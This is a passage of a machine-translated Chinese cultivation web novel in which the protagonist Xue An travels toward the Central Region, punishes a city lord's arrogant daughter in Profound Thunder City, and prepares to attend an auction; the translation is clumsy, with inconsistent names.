    The major cities and the sect family are all looking forward to the head of the Chinese city.


    The root cause is naturally from Xue An''s supreme power.


    Now Xue An suddenly wants to leave the Eastern Region for the Middle Region, which naturally shocked many people.


    To this day.


    The sky is full of brilliance and lively in Sihua City.


    The leader of the Eastern Region''s City Lord and others all rushed over to see Xue An off.


    Xue An had anticipated this a long time ago, so he let Sihua City fully open the defensive array in advance, and made Fu Xinyan, who had already been promoted to the strong golden immortal, come forward to greet him.


    Therefore, when these City Masters and others saw the current Sihua City, they were all shocked.


    I saw a dazzling brilliance covering the entire Sihua City, and a series of dense and powerful talisman engraved all the walls of Sihua City.


    The female soldiers guarding the city were full of armor and vigor.


    And the golden celestial powerhouse who came to greet him, who was not the former master sister Fu Xinyan of Sihua City.


    Such scenes and scenes made many people who were already cautious in their hearts couldn''t help but take a breath, and dare not think too much.


    Because even if Xue An leaves now, this Sihua City alone is enough to stand tall.


    What''s more, this god-killing grandfather just went to Zhongyu, not that he couldn''t come back.


    If it really provokes this city of thinking, then when the killer returns, who can take this responsibility?


    Therefore, when Xue An led Xiao Dancheng into the void with his hand, the expressions of these City Masters became more respectful.


    Xue An glanced at the group of people, and said lightly: "Thank you all for coming to see you off. I have appreciated this kind of thought!"


    This group of Master City Masters all trembled, and some of them were already involuntarily sweating.


    At this time, I saw the city owner of Crane Tour stepping up and saying respectfully: "Master Xue, this is a long journey to the Central Region, I will offer a mount for the adults!"


    As he said, with a wave of his hand, he saw a crane flying over.


    This Crane Luan car is simple in shape and wide, just like a Genting Heavenly Palace.


    The two huge cranes were pulling the cart.


    It is this thing that is abundant in Heyou City, hence the name.


    Xue An was also satisfied with this and nodded slightly and said: "Yes, I''m interested!"


    City Lord Heyou took a deep breath, knowing that he was the most stressed during this period.


    After all, Crane Youcheng is the nearest to Sihua City, and he had also been to Sihua City with Ji Lihui, the youngest of the Iron Bone Alliance, but he had never waved the flag to cheer.


    These things made the crane travel city master sleepless.


    So when he heard that Xue An was going to the Central Region, he immediately thought that this was a good opportunity to pull in the relationship.


    This crane nun was carefully prepared by him. It was originally for himself to enjoy, but in the end he decided to dedicate it to Xue An for peace of mind.


    Now that Xue An is quite satisfied, he is naturally very happy.


    At this time, Xue An is about to board the crane, and Fu Xinyan, who came to see him off, stepped forward and whispered: "My lord, go to the Central Region, be careful of everything! Everyone in Sihua City, wait for the return of the adults!"


    Xue An smiled upon hearing this, "Listen to your tone, this Zhongyu seems to be very dangerous!"


    Fu Xinyan smiled bitterly when she heard the words, "This midfielder has come out in large numbers, and the Eastern Region is not as good as it is. It''s always good to be careful when the adults arrive!"


    This is what Fu Xinyan said from the bottom of his heart.


    She knew that Xue An had a noble temperament and a shocking cultivation base, but the Central Region was a place where thousands of sects gathered.


    That''s why she gave her advice.


    Unexpectedly, Xue An laughed loudly after hearing it, "It''s a mere midfield, not in my eyes, now, I have to step down there, and teach these so-called strong people how to behave!"


    The many city masters who came to see off were stunned by these words.


    Stepping on Zhongyu, how big is this tone?


    Many people secretly moved in their hearts, and immediately suppressed those careful thoughts.


    Xue An knew this naturally, but he just smiled, and then boarded the Crane Luan car and said lightly: "Let''s go, go to Zhongyu!"


    "Yes!"


    Xiao Dancheng took the whip and drove the car, willingly sat in front of Crane, and then swiped the whip, "OK!"


    The two cranes screamed, then turned into streamers and disappeared into the sky.


    The many sect leaders looked at each other, and they all dispersed.


    Fu Xinyan, Su Xiaomu and others looked at the distant sky and prayed silently in their hearts.


    Sir, I hope you come back soon!


    From this one-star Eastern Territory to the Central Territory more than ten thousand miles away.


    Even a strong Golden Immortal would have to catch up with a month to arrive.


    Xue An is not in a hurry.


    This Crane Luan car is obviously forged by an expert. It has extremely fast feet and can travel thousands of miles every day.


    Moreover, the Nian Palace is very spacious, and it is as stable as walking on the ground when moving.


    Xue An simply released An Yan and his two daughters from the Fubao Xiaolou, enjoying the view of the sky.


    Guiyi Star has a very wide area, coupled with abundant aura, so he cultivated as Dachang.


    Along the way, you can see all kinds of cars passing by from time to time.


    However, after these people glanced at the divine light that enveloped the crane, they all retreated from Sanshe with respect.


    So it was fine.


    Sometimes it''s boring to travel in the sky, and Xue An will deliberately land when passing through the ancient city on the ground and take his wife and children around.


    So the journey doesn''t seem boring.


    Until this day.


    When Crane Luan''s car was flying, the number of cars on the sky began to increase.


    Streams of light surpassed Heyan and rushed forward, seeming to be anxious to do something.


    Xue An was a little strange, so he asked Xiao Dancheng who was driving ahead.


    "Where is it?"


    Xiao Dancheng respectfully said, "Master Hui, here is not too far from the Central Region, it is the location of Profound Thunder City!"


    "Xuanlei City? What are so many people doing here?"


    "My lord, UU reading , the main cultivation of Xuan Lei City is a high-strength, and because it is close to Zhongyu, many things will be traded here, and the trade is very prosperous! And an auction event is held every year. I have also participated once! This time it should also be the auction time!"


    Xue An smiled when he heard the words, "Oh? So it''s caught up, so let''s go and see!"


    "Yes!"


    quickly.


    An ancient city appeared before.


    I saw that this city was bigger than the ancient city seen along the way.


    The city wall is a hundred feet high, and all kinds of magic arrays are engraved on it, and the golden light appears in the day.


    Under this restriction, the cranes and other vehicles are naturally not allowed to fly into the city.


    Xue An and the others fell outside the city, used a magic weapon specially used to store the car, and then walked into the city.

 Chapter 748： Xuan Leis grand occasion, Xue wants to show off

    As Xiao Dancheng said, this Prosperous Thunder City is very prosperous.


    Pedestrians are like weaving on the wide streets, shops are lined up on both sides of the streets, and all kinds of screams are endless.


    "Tian Lei Jue, the top grade immortal technique, now it''s on sale with tears, only five immortal crystals!"


    "Crimson-pearl grass, close-to-transformed plant spirit, take it home and raise it for hundreds of years, and then you will be able to raise a delicate woman. Then the woman will return your watering grace with teardrops every day, and it will be beautiful. You have to ask about the price, it''s not expensive, as long as fifty immortal crystals are all you need! Only for one day, not out of date!


    "The two swords of the sky and the thunder, the fine wheel of the sun and the moon, are sold at a price! These are all fairy artifacts inherited from the ancient Emei school. You can''t buy a loss, you can''t buy a fool! Don''t miss it if you pass by!"


    "The ancient fairy gate of the ancient fairy gate, the largest sect Xihe Palace closed down, the **** pie master ate, drank, and gambling, owed 30,000 to 50,000 immortal crystals, and then ran away with the younger sister. We had no choice but to take it. The spirit weapon is worth the salary. The original price is more than one hundred and two hundred and three hundred. Now they are all sold for only 20 yuan! You are not a human being, we have worked hard for you for half a year. Pay our wages and pay back our hard-earned money! Give us back our hard-earned money!"


    Not only that, but on the street not far away, there was a cultivator topless, holding a few spirit swords and slashing himself there. Every time it was cut, people onlookers would throw broken fairy crystals into it.


    There was a more ruthless one next to him, who set up a huge pill furnace directly on the side of the road. At this moment, the fire in the pill furnace was strong. This man took off his shirt and wore only a pair of trousers. He punched the people around. .


    "Brothers and brothers, you old irons, as the saying goes, I rely on my teacher at home and my friends when I go out. I live here today and have no money and no skills. So today I will show you a pill furnace to refine yourself. If you look at it, Don��t forget to give a cheer!"


    As he said, he went into the Nadan furnace.


    boom!


    The audience thundered with applause.


    Many people even dropped a large piece of fairy crystal.


    Listening to these shouts and seeing the prosperous scene in front of him, Xue An couldn''t help laughing.


    And An Yan said dumbfounded: "Husband, how come I feel like a vegetable market on earth!"


    "It was originally! These things are blunt, but they are almost like turnip cabbage!"


    Xiao Dancheng smiled, "Master Xiao, Master Xiao is right, and not just like Profound Thunder City, there are also many casual practitioners operating this kind of business and making a living from it in the middle domain!"


    "But..." An Yan always felt that this scene was a violation.


    Xue An patted An Yan''s little head, and said with a smile: "These cultivators are also humans, there is no way, do you have to get the food right?"


    With that, he threw a piece of high-grade fairy crystal into the field.


    Seeing this, the dear man sitting in the alchemy furnace brightened his eyes and clasped his fists at Xue An.


    "Thank you friends! I wish you a smooth practice, no disasters, and an early golden fairy!"


    Because Xue An is now returning to the basics in his cultivation, and he can''t see what cultivation level he is from the momentum, so this cultivator complimented him.


    After all, for these ordinary cultivators, Jinxian is already an extremely powerful existence.


    No matter where it is placed, it can be called a powerful party.


    Even in the middle domain, you can be a Keqing elder among those denominations.


    Xue An smiled, and then led An Yan and others to the city.


    Along the way, the eyes of the two little girls weren''t enough, and they looked at each other and were interested in everything.


    Xue An didn''t stop either. It was boring enough that the two little girls stayed in that Fubao building all day during this period.


    This time there is fun to watch, so let them have a good time.


    At this moment, An Yan saw a shop on the side of the road selling all kinds of jewelry, and walked in with excitement.


    Xue An took a look. The two little girls were playing enthusiastically in front of a stall selling children''s toys on the street.


    So he casually added a guardian circle to the two of them, and then walked into the shop.


    But at this moment, a slippery three-eyed golden retriever ran onto the street.


    All those who saw it dodge in panic.


    Only two little girls were still playing in front of the booth, without even noticing them.


    At this time, the three-eyed golden retriever rushed to a small snack stall beside him, and opened his mouth to swallow most of the snacks.


    This little vendor is just a cultivator of gods. He makes a living by selling snacks. When he saw that he was swallowed by a dog for the most part, he couldn''t help being furious, but waited for him to look at the three-eyed golden retriever''s collar tied around his neck. I was too scared to say anything.


    The three-eyed golden retriever ate a few snacks, turned around contentedly, and wandered around, and then noticed the thoughts and thoughts standing not far away.


    The breath of the two little girls is pure, although they are covered by An Yan with illusion, but these three-eyed golden retrievers are capable of breaking all illusions, so they can see their true colors.


    That''s not a big deal. When the beast saw the sea monster blood bead hanging on the necks of the two little girls, his greedy saliva would flow out.


    Its favorite is to devour all kinds of spirit stone jewelry.


    The scent of the Sea-Monster''s blood beads was something it had never smelled before, so it was naturally moved.


    So it just rushed over.


    Hum!


    There was a whisper, and a white light appeared from around the two little girls, blocking the three-eyed golden retriever.


    It was the guardian array set up by Xue An.


    But at this moment, a black light flashed in the beast''s third eye, and this white light moved it through smoothly.


    This is the miracle of the three-eyed golden retriever. Its eyes can be disguised as various auras to deceive the protective circle.


    At this time, the two little girls woke up from the excitement of discovering the novel toy, and when they turned their heads, they rushed to a big dog.


    The nearest Nian Nian yelled in fright. At this time, the three-eyed golden retriever had already rushed forward. The huge size bumped Nian Nian into a stagger, and then fell to the ground.


    Then the beast opened his mouth and was about to swallow the Sea-Monster blood bead necklace hanging around Niannian''s neck Niannian''s face turned pale with fright, and his whole body trembled.


    At this moment, I stopped thinking about it.


    Although she always said that she was stupid, but her sister could only bully by herself. Others couldn''t touch a finger, let alone knocked to the ground?


    Ever since, I saw that I thought about it with a small face, and kicked it out in a short time.


    Bang, this kick kicked the animal a few steps away.


    Under the pain of eating, the animal barked his teeth at Xue Xiang.


    Think about it without fear, reach out and pull down the small pan necklace Xue An gave her, and when it swayed in the wind, the magic weapon was revealed. Ann is removed!).


    Then he stepped out and took the shot.


    "I let you bully my sister!"

 Chapter 749： Arrogant and arrogant teach you to be a man

    Snapped!


    The pan was patted on the waist of the three-eyed golden retriever.


    After a scream, the three-eyed golden retriever was shot and flew out.


    After landing, she trembled and couldn''t get up.


    The cultivators around were so frightened that they scattered, and the timid ran away, and the courageous also avoided far away, watching with horrified eyes.


    "Little girl, run quickly!" The small vendor selling toys was not bad, and said tremblingly.


    "Run? Why do you want to run?" Xue wanted to hold the pan with a look of irritation.


    At this moment, there was a commotion in the distant crowd, and then a group of people hurried over.


    The leader is a young girl in brocade.


    She hurried to the three-eyed golden retriever, knelt on the ground with anxious face, stroked its fur with her hand, and tremblingly said: "Maomao, what''s wrong with you, Maomao!"


    The three-eyed golden retriever whimpered a few times, raised his head feebly and glanced at the girl, and then lay on the ground again.


    Seeing this scene, the girl''s pretty face was full of murderousness, and shouted every word: "Yes! Who! Do it!"


    No one dared to speak.


    At this moment, think about lifting Nian Nian from the ground, "Sister, are you okay!"


    Niannian''s face turned pale, she shook her head, and said in a low voice, "Sister, I''m fine, but I was scared."


    Hearing the conversation between the two sisters, the girl looked up, her eyes full of anger and resentment.


    "Is that what you beat?"


    Xue Xiang was not afraid, holding the pan, "Yes, I did it! Your big dog knocked my sister to the ground and swallowed her. It''s cheaper if you don''t kill it!"


    This sentence caused a commotion in the crowd.


    Some cultivators shook their heads secretly and sighed in their hearts, believing that these two little girls were more ill-fortuned.


    Sure enough, the girl laughed in anger.


    "Joke, my Maomao is the best behaved, you said it knocked you down? You must have provoke it first!"


    "You''re talking nonsense, my sister and I were clearly choosing toys in front of this stall, and it was your big dog that suddenly rushed over." Nian Nian, who has always been naive to words, flushed at the moment, and couldn''t help but argue. Tao.


    The girl was even more furious when she saw it, "I don''t care, my Maomao can''t be wrong! You two little girls beat it like this, you must find your adult and apologize to it!"


    As soon as the voice fell, a cold voice came over.


    "Apologize to it? Haha...!"


    Following the voice, Xue An slowly walked into the court.


    "Dad! This big dog bullies Niannian!" Thinking about seeing this, he hurried over.


    Xue An petted her head and said with a smile: "Think about it, do a good job! When you are an older sister, you should protect your younger sister!"


    "Yeah!" Xue Xiang nodded vigorously.


    Xue An looked at Nian Nian again, and after a moment of careful study, he found that his second daughter was fine, which was relieved.


    In fact, Xue An had already seen this three-eyed golden retriever just now when it hit Niannian.


    An Yan was shocked and wanted to rush over.


    On the contrary, Xue An was not in a hurry, and stopped An Yan.


    He was going to see how his two daughters would deal with this incident.


    Of course, this is based on the premise that the two daughters are absolutely safe.


    Because even if Xue couldn''t think of a move just now, as long as the head of the three-eyed golden retriever was stretched half an inch down, the many guardians that Xue An had placed on the two daughters would be activated.


    At that time, let alone this golden beast, even half of the street will have to be knocked down.


    Then Xue wanted to kick the Golden Retriever away, and pulled out the pan to shoot it flying, Xue An saw it all.


    Xue An was very satisfied with this.


    He spoils these two little girls, but it doesn''t mean that he wants to cultivate them into flowers in the greenhouse.


    If you want to survive and become stronger in this cruel world, you need your own decision.


    Although the two daughters are still very young, Xue An has already begun to cultivate these consciousnesses intentionally.


    Of course, people have different personalities.


    This is true even for twins.


    Xue Nian has a soft personality, and Xue An knows this very well and likes it, so she won''t demand any changes.


    And Xue Xiang''s character inherited Xue An more, and he never feared or yielded when encountering problems.


    This is something Xue An appreciates very much.


    When the owner of the three-eyed golden retriever appeared, the two little girls were still not afraid, but fought hard.


    Xue An walked out slowly until the young girl was arrogant and wanted to apologize.


    At this time, the girl in Jin Yi stared at Xue An, and she stretched out her hand to think and miss, "Are you the father of these two little girls?"


    Xue An nodded slightly.


    "Well, my family was beaten up by your child like this, now I ask you to apologize, otherwise..."


    Otherwise, the girl didn''t say anything, but looking at the coldness in her eyes, it obviously wouldn''t be a good thing.


    Xue An laughed at this, then glanced at the horrified look of the people on the street, and said indifferently: "You are so arrogant...Do your parents know? Or maybe...this beast is your parents?"


    As soon as this sentence was uttered, there was a low commotion among the many practitioners who were peeping at all.


    Some of them couldn''t help but laughed lowly, and then quickly covered their mouth, for fear of being heard by this girl.


    Many others sigh secretly.


    This girl is a tyrant in Profound Thunder City, and no one dared to provoke her.


    Now being ridiculed by Xue An, this matter is obviously impossible to be good.


    Sure enough, the girl''s face was pale.


    "you����."


    Before the words fell, Xue An''s eyes flashed with cold light, and a ray of sword light swept across the sky, directly cutting the three-eyed golden retriever lying on the ground.


    The beast screamed before he died, and was divided into two halves from the middle. The blood was flowing and the street was stained red.


    Seeing this scene, the girl couldn''t believe her eyes.


    "You... you actually killed Mao Mao? I did it with you!"


    The girl roared, and the guards who came with her were about to rush up.


    At this moment, Xue An suddenly appeared in front of the girl, and said coldly: "Since you don''t have parents to discipline you, I will teach you how to be a human today!"


    Speaking Xue Anyang''s hand is just a slap in the face.


    Snapped!


    The girl was caught off guard, and was directly fanned out. After spinning around in the air several times, she thumped and fell to the ground.


    Look at her originally delicate cheeks that have been pumped and swollen.


    hiss!


    Everyone in the whole street took a breath.


    Some people even turned their heads and ran away.


    Because they know that if things are getting bigger, this is no longer a dog matter, and it will definitely kill people.


    The girl in Jinyi was slapped and slapped, covering half of her face with her hand, looking at Xue An in a dazed manner. She didn''t react until after a few breaths, and then screamed bitterly.


    "Do you dare to slap me? Kill him! Destroy his body!"

 Chapter 750： Hidden ghost in the auction event

    This girl was obviously very angry, and she couldn''t wait to swallow Xue Ansheng away.


    These guards all stepped forward, ready to do it.


    A cold smile rose from the corner of Xue An''s mouth, and a powerful murderous intent rose into the sky, causing the ground under his feet to tremble slightly.


    He doesn''t care what the status of these people are, since he dares to be disadvantageous to his daughter, he is prepared to pay the most painful price.


    After feeling this murderous aura, all these guards also looked solemn.


    At this moment, I saw Xiao Dancheng squeezed out of the crowd with sweat, and hurriedly shouted: "Master, don''t do it yet!"


    Not only that, but from the distance of Xuan Lei City, a thunder-like voice also came over, "Friend, show mercy!"


    With that, a powerful force also descended on this street.


    This is a tall and mighty middle-aged man with a majestic face.


    After landing, the man yelled at the guards, "Get out!"


    These guards hurriedly retreated to the side, standing with their hands down, not even daring to lift their heads.


    Xue An only smiled faintly when he saw this, and the powerful murderous aura just disappeared into the invisible, becoming a handsome man with noble temperament and lazy expression.


    The middle-aged man saw a flash of splendor in his eyes, and then he said, "Friend, thank you for your mercy!"


    Then he smiled at Xiao Dancheng on the side, "I didn''t expect Mr. Xiao to be there!"


    Xiao Dancheng smiled after hearing the words, "The Lord Gao is polite! I also came here with the master!"


    This visitor is the city lord of this Profound Thunder City, Gao Xinghai!


    When he heard that Xiao Dancheng was going to call Xue Anzun a master, his heart moved even more.


    At this time, the girl in Jinyi got up from the ground, and said with a grieved expression to Xinghai: "Father, this guy killed Mao Mao and beat me like this! You have to call me the shots!"


    With that said, she also looked at Xue An with spiteful and proud eyes.


    This girl in Jinyi is the daughter of Gao Xinghai, named Gao Zuiyu.


    Relying on her status as the daughter of the city lord, she was arrogant and domineering.


    In her opinion, now that her father has come forward, the guy who dared to slap himself must pay the price!


    Unexpectedly, Gao Xinghai yelled, "Asshole, I don''t do business all day long, and I am used to this three-eyed golden retriever as lawless. It deserves to be killed!"


    Gao Zuiyu was dumbfounded, and she never expected such a result.


    "Father...Father!"


    "Quickly apologize to this master! Otherwise I will shut you down when I go back!"


    As he spoke, Gao Xinghai turned his head and smiled at Xue An, "This friend, my daughter is usually too spoiled, but it turns out to be a bit too saucy, please don''t be inferior to her."


    With half of his face swollen, Gao Zuiyu lowered his head and said in a very low voice, "I was wrong! Please forgive me!"


    Xue An was noncommittal about this, and didn''t even look at her.


    The atmosphere seemed a bit awkward.


    An anger flashed in the depths of Gao Xinghai''s eyes, but even if Xuan disappeared, Xiao Dancheng rushed to the side and said.


    "Mr. Xiao is here to participate in the annual auction event?"


    Xiao Dancheng nodded, "Master and I happened to pass by here, so we came to see the excitement!"


    Gao Xinghai laughed and said, "Then you are right, this auction will be an unprecedented grand occasion, not only the strong from the various domains, but also the descendants of the major sects in the middle domain are coming!"


    "Oh?" Xiao Dancheng''s expression changed, "Are you from the Middle Domain Sect as well?"


    Gao Xinghai nodded, "That''s right, and it''s still true disciples from a few great heavenly sects who came here! For example, the true legend Xueliu of Zhan Honglou has already arrived in Xuan Lei City!"


    hiss!


    Hearing the words Zhan Honglouxue Lei Li, Xiao Dancheng couldn''t help taking a breath.


    "But I don''t know how many people have a place to stay in my Xuanlei City? If not, you can invite them to stay in my house for a few days, and wait for the auction to start! How about?" Gao Xinghai greeted very graciously.


    Xiao Dancheng did not say a word, but turned to look at Xue An who was aside.


    Xue An said lightly: "It''s not necessary anymore, we have a place to go!"


    After all, he led the family and left.


    Upon seeing this, Xiao Dancheng slammed into Gao Xinghai, "City Lord Gao, thank you for your kindness, Master Xue is not willing, then I will not go!"


    After all, he also followed Xue An and left.


    Gao Xinghai looked at the departure of Xue An and the others, his face gradually sinking, and after a while he said coldly, "Go back!"


    After returning to the City Lord''s Mansion, Gao Zuiyu applied the pill, and the injury on his face quickly recovered.


    But she was still full of anger.


    You must know that she has never been beaten since she was a child, let alone apologized to that guy after she was beaten this time.


    This makes her always arrogant feel unacceptable.


    "Father, why did you let that guy go? Is it because of that old man Xiao?" Gao Zuiyu asked in a deep voice.


    Gao Xinghai shook his head, "Although Old Man Xiao has strong alchemy skills, it is nothing in Zhongyu, but I really can''t see the man, and Old Man Xiao calls him a master, which surprised me."


    "Could it be that he is already an alchemy master at his age? This is simply impossible!"


    "Then this thing is to be forgotten?" Gao Zuiyu couldn''t swallow this breath.


    Gao Xinghai sneered when he heard the words, "Yu''er, I asked you to apologize to him at the time because I had to leave a good impression in front of so many people!"


    "Also, the auction is about to be held, and the snow drift of Zhanhonglou has already arrived. When you get the treasure that she is bound to get at the auction, and then get in touch with her through this thing, you can also I''ve come to Zhanhonglou!"


    "At that time, a small Xiao Dancheng and this man will be killed!"


    Gao Zuiyu''s eyes lit up when he heard his father''s words.


    "But you don''t want to hang out on the street during this time."


    "Yes!" Gao Zuiyu nodded in response, and then said with some regret: "It''s a pity that Maomao..."


    "HeheIt''s just a three-eyed golden retriever. When you come to Zhanhonglou and become a disciple of the Celestial Sect, are you afraid that there will be no treasures of alien animals?"


    And here, Xue An took the people around for a while, then found a place to live.


    After An Yan and two daughters fell asleep, Xue An walked out of the room and saw Xiao Dancheng waiting for him outside.


    "what happened?"


    "Master, this matter is a bit strange!"


    Xue An smiled, "Oh? What''s weird?"


    Xiao Dancheng said in a deep voice: "That cut the Red Mansions is the Heavenly Sect, and the descendants rarely step out of the Central Territory, but this time they came to this Profound Thunder City, which is obviously a bit weird! Could it be that at this auction, what precious treasure will appear? "


    "Perhaps it is! What else?" Xue An said lightly.


    "Also, this Gao Xinghai is small and looks like a jewel in the palm of his own daughter, but when you beat her in public this time, Gao Xinghai actually asked her to apologize to you. This is obviously very strange!"

 Chapter 751： Zhongyu Tianzong, cut red and drifted away

    Xue An smiled, "This is not surprising!"


    Hearing these words, Xiao Dancheng was shocked and looked at Xue An with a little amazement.


    "Master, you mean this Gao Xinghai..."


    Xue An nodded, and said calmly: "Yes, he should have been murderous."


    There was anger on Xiao Dancheng''s face.


    He is also a master of alchemy, no matter where he goes, he will be respected.


    And he and this Gao Xinghai are still acquaintances.


    As a result, he was so ambitious.


    How could Xiao Dancheng not be angry, how could he not be surprised?


    Xue An said lightly at this time: "But his wishful thinking was wrong. If he didn''t want to see the excitement of this auction, he is already a dead body!"


    Xiao Dancheng was awe-inspiring when he heard this.


    Master Xue really deserves to be called a killer by the various sects of the Eastern Region.


    The murderousness in the words made him secretly startled.


    "It''s the Middle Domain Tianzong, it''s kind of interesting!"


    Xiao Dancheng hurriedly said: "Master, the Middle Territory is different from other territories, because it has the most extensive area and the sect of Zongmen City is as numerous as stars, so it is called the place where thousands of sects gather."


    "And among these sects, there are also three, six or nine grades."


    "The general minor sect is Fanzong, on which there are peerless sects, Shenpin sects! Only the most powerful sects can be called Tianzong!"


    "There used to be twelve sects in the Heavenly Sect, known as the Twelve Heavenly Sects, but after so many years of fighting, there are only three remaining. They are Zhan Hong Lou, Ferocious Demon Valley, and Elysium!"


    "These three sects are the top powerful sects in the Middle Territory!"


    "There is also this Xuelili. This person is the true biography of Zhanhonglou. You must know that the disciples in a sect are also divided into several grades. The most junior disciples are those who are beginners. , And then enter the room, and finally the truth!"


    "For example, Li Hui, a young man from the Ji family of the Iron Bone Alliance who was killed by you, is a true disciple of the Central Yuxu Palace!"


    "But above the true biography, there is another supreme existence, that is the current true biography!"


    "Only the cultivation base can crush all the disciples in the faction, and the talent is amazing, and it is regarded as the existence of the next generation leader in the faction, can it be given this name!"


    "I heard that this snow is extremely cold, and his beauty is unparalleled! At first he was not a hundred years old, he had already broken through to become a golden immortal, and now his cultivation is even more unfathomable, and he is already ranked eighth in the questioning list!"


    "Oh? Ask the true list?" Xue An asked.


    Xiao Dancheng nodded, "Master, you don''t know that there is a list of truth-seeking in this middle domain! All those listed on this list are young disciples of various sects and factions who are hopeful to break into true immortals! Hence the name."


    "Although Xue Liuli is only ranked eighth, you must know that there are more than 10 million cultivators in the Central Region, but only 20 people can be on this list!"


    "Xue Liuli''s ability to rank eighth already shows her terrifying strength!"


    Xue An was noncommittal, and then suddenly asked, "What about Blood Net Mountain?"


    Hearing the three words "Xuewangshan", Xiao Dancheng''s expression changed suddenly.


    "Master, what do you ask this sect for?"


    "It''s okay, just ask casually!"


    Xiao Dancheng was silent for a moment, and then smiled bitterly: "Actually, I haven''t finished introducing you just now!"


    "In Zhongyu, there is actually a sect above the Tianzong! People call it Yuanzong."


    "And Yuanzong, there is only one sect, this blood net mountain!"


    "This is the most supreme sect in the entire Central Territory, and there are even very few descendants who show up. They are generally active in the core of the Central Territory! But their disciples dominate the questioning truth list. Almost all the first few It''s their existence!"


    "Oh!" Xue An nodded.


    Xiao Dancheng secretly looked at Xue An''s expression, but he didn''t notice anything unusual, and he was relieved in his heart.


    He was afraid that this killing **** would have any conflict with the people of Blood Net Mountain.


    Although he was very convinced of Xue An''s cultivation.


    But if it is against Blood Net Mountain, and the whole is returned to one star, no one would dare to say that he will win.


    After a few more words, Xiao Dancheng left and returned to the house.


    Xue An sat cross-legged on the futon, his eyes narrowed slightly, and his mighty spirit spread and enveloped the entire Xuanlei City.


    Now Xue An''s spirit has been extremely condensed.


    Therefore, even this heavily restricted Profound Thunder City could not stop Xue An''s divine mind.


    quickly.


    Xue An felt the breath of many cultivators in the entire Xuan Lei City.


    Among them, there are countless scattered immortals, and longevity is no longer a minority.


    But among them, there are still very few that have truly achieved the golden immortal cultivation base.


    One of them was very familiar, and it was the city lord Gao Xinghai who met on the street during the day.


    In Divine Mind, the vigor of this Gao Xinghai, like a giant hammer, exudes a wild and powerful aura.


    And at this moment, Xue An''s divine mind came into contact with an extremely powerful divine mind in the northeast corner of Xuanlei City.


    Xue An''s heart moved.


    This is also a strong golden immortal, but the difference is that this golden immortal is much stronger than the golden immortal of Ji Lihui that Xue An killed before.


    Moreover, in this powerful aura, there was a chilling sword intent that was so chilling.


    From the divine mind, it looked like a peerless sword forged with ten thousand years of profound ice, which was daunting.


    Xue An smiled.


    This should be the true passer-by who had left the Red Mansion.


    Xue An''s divine mind continued to move forward, and as soon as he touched the sword intent that represented Xue Liuli, a sword light suddenly slashed.


    Xue An didn''t dodge, but said with divine thought, "Broken!"


    This sword light was like a heavy object falling in the still water of Yingyue, crashing into pieces.


    Then Xue An withdrew his mind, and a faint smile rose from the corner of his mouth.


    "interesting!"


    at the same time.


    In the northeast corner of Xuanlei City, in a sword tower as high as one hundred meters.


    This is a quiet room where the whole body is whitewashed, except for the futon on the ground.


    now.


    On the futon, there is a woman sitting.


    This woman was dressed in a black dress, slender figure, long hair to waist, and a picturesque face.


    It''s just that the whole body exudes an extremely cold sword aura.


    suddenly.


    The woman opened her eyes suddenly.


    In the quiet room, it was like a flash of light At the same time, there appeared in the midair a bunch of snowflakes made of sword intent.


    After a while, this strong sword intent gradually dissipated.


    Then the woman turned her head to look out the window with a solemn expression, "I can actually break my sword intent with divine power? Could it be someone on the list?"


    The woman''s water-cut pupils were full of surprise.


    At this moment, the door was gently pushed open, and then a little maid walked in tremblingly.


    "Xue... Master Xue, what''s wrong?"


    This woman is Xue Liuli, she shook her head, "It''s nothing to do with you, get out!"


    "Yes!"


    After the little maid retreated, Xue Liuli stood up, her long hair scattered, and walked slowly to the window, overlooking the Xuanlei City.


    "No matter who you are, this time, no matter who you are, you can''t stop me. Those who stop me, die!"

 Chapter 752： Auction Guild, Bliss Baiqing

    Three days later.


    The auction event officially opened.


    Powerful from all domains gathered in Xuan Lei City.


    When Xue An came to the auction site, it was already crowded with people, and there were still flying boats and ships in the sky.


    "Mr. Xiao, you are finally here! Come in!" City Lord Xuan Lei Gao Xinghai greeted him with a red face, showing very enthusiasm.


    Xue An noticed that beside Gao Xinghai stood a glamorous woman in a black dress.


    This woman looked in her thirties, and her **** was young and coquettish. She wore a black dress to show her charm.


    Only Xue An saw a small badge embroidered with gold silk on her left arm.


    Xue An understands.


    This should be the person in charge of this Xuan Lei City auction.


    One star here.


    Each cultivator faction and industry has its own guild.


    Such as Alchemy Guild, Sword Repair Guild, etc.


    This auction is naturally no exception.


    A giant guild is in charge of most of the auction houses in all areas of Guiyi Star.


    Almost all auctions have their shadow behind.


    This has provided them with unimaginable huge wealth, so the auction guild''s strength has always been unfathomable.


    Even a faction of suzerain must give three points to the people of this auction.


    This Xuan Lei City is naturally no exception.


    Looking at Gao Xinghai''s appearance, we can see that she has great respect for this woman.


    After sensing Xue An''s gaze, the woman turned her eyes and glanced at Xue An.


    When she saw a man with a long body and a handsome face, the woman showed a delicate smile.


    However, most of her attention was still focused on Xiao Dancheng.


    After all, Xiao Danzun''s name is still relatively loud, although it may not be a big deal in this middle domain, but it is also an alchemy master anyway.


    No cultivator is willing to offend a master alchemy, because no one can guarantee that he will beg for others in the future.


    "Bai Qing''er has seen Mr. Xiao!" the woman said in a delicate voice.


    Such amorous feelings made the surrounding cultivators look stupid.


    Xiao Dancheng looked solemn, and said, "White Palm will be polite!"


    Bai Qing''er covered her mouth and smiled, "Unexpectedly, I haven''t seen him in a few years, and Mr. Xiao still has the same style. It is really disappointing!


    There was a trace of embarrassment on Xiao Dancheng''s face.


    Bai Qing''er giggled a few times and stretched out her hand to guide her, "Mr. Xiao, please go upstairs!"


    The second floor is the VIP reception area of ??this auction house, and only people with distinguished status and high-power can enter.


    Xiao Dancheng secretly breathed a sigh of relief, and then said lowly to Xue An when he went upstairs.


    "Master, this Bai Qinger is a powerful character in the auction guild. He studied under one of the three heavenly sects, Bliss Square, which is very difficult!"


    Xue An nodded non-committal.


    Xiao Dancheng frowned again and said, "It seems that this auction is really not trivial, otherwise this witch will not be alarmed too!"


    At this time, a suspicion flashed in Bai Qing''er''s eyes downstairs.


    The breath of the man who was watching him just now was so strange that he couldn''t see through it.


    And Bai Qing''er could also perceive that her charming technique had no effect on this man.


    Because there was no silver evil in the man''s eyes, but only a touch of curiosity and playfulness.


    This feeling made Bai Qing''er feel that in his eyes, he was like a novel toy.


    This made Bai Qing''er feel very awkward.


    And she also noticed that Xiao Dancheng respectfully led the way when she went upstairs.


    Can make a pill master so respected.


    Could this man be the true biography of a certain big family or the heir of an ancient family?


    These doubts hovered in Bai Qing''er''s heart.


    And in a box on the second floor.


    Xueliu sat on the chair with an indifferent expression.


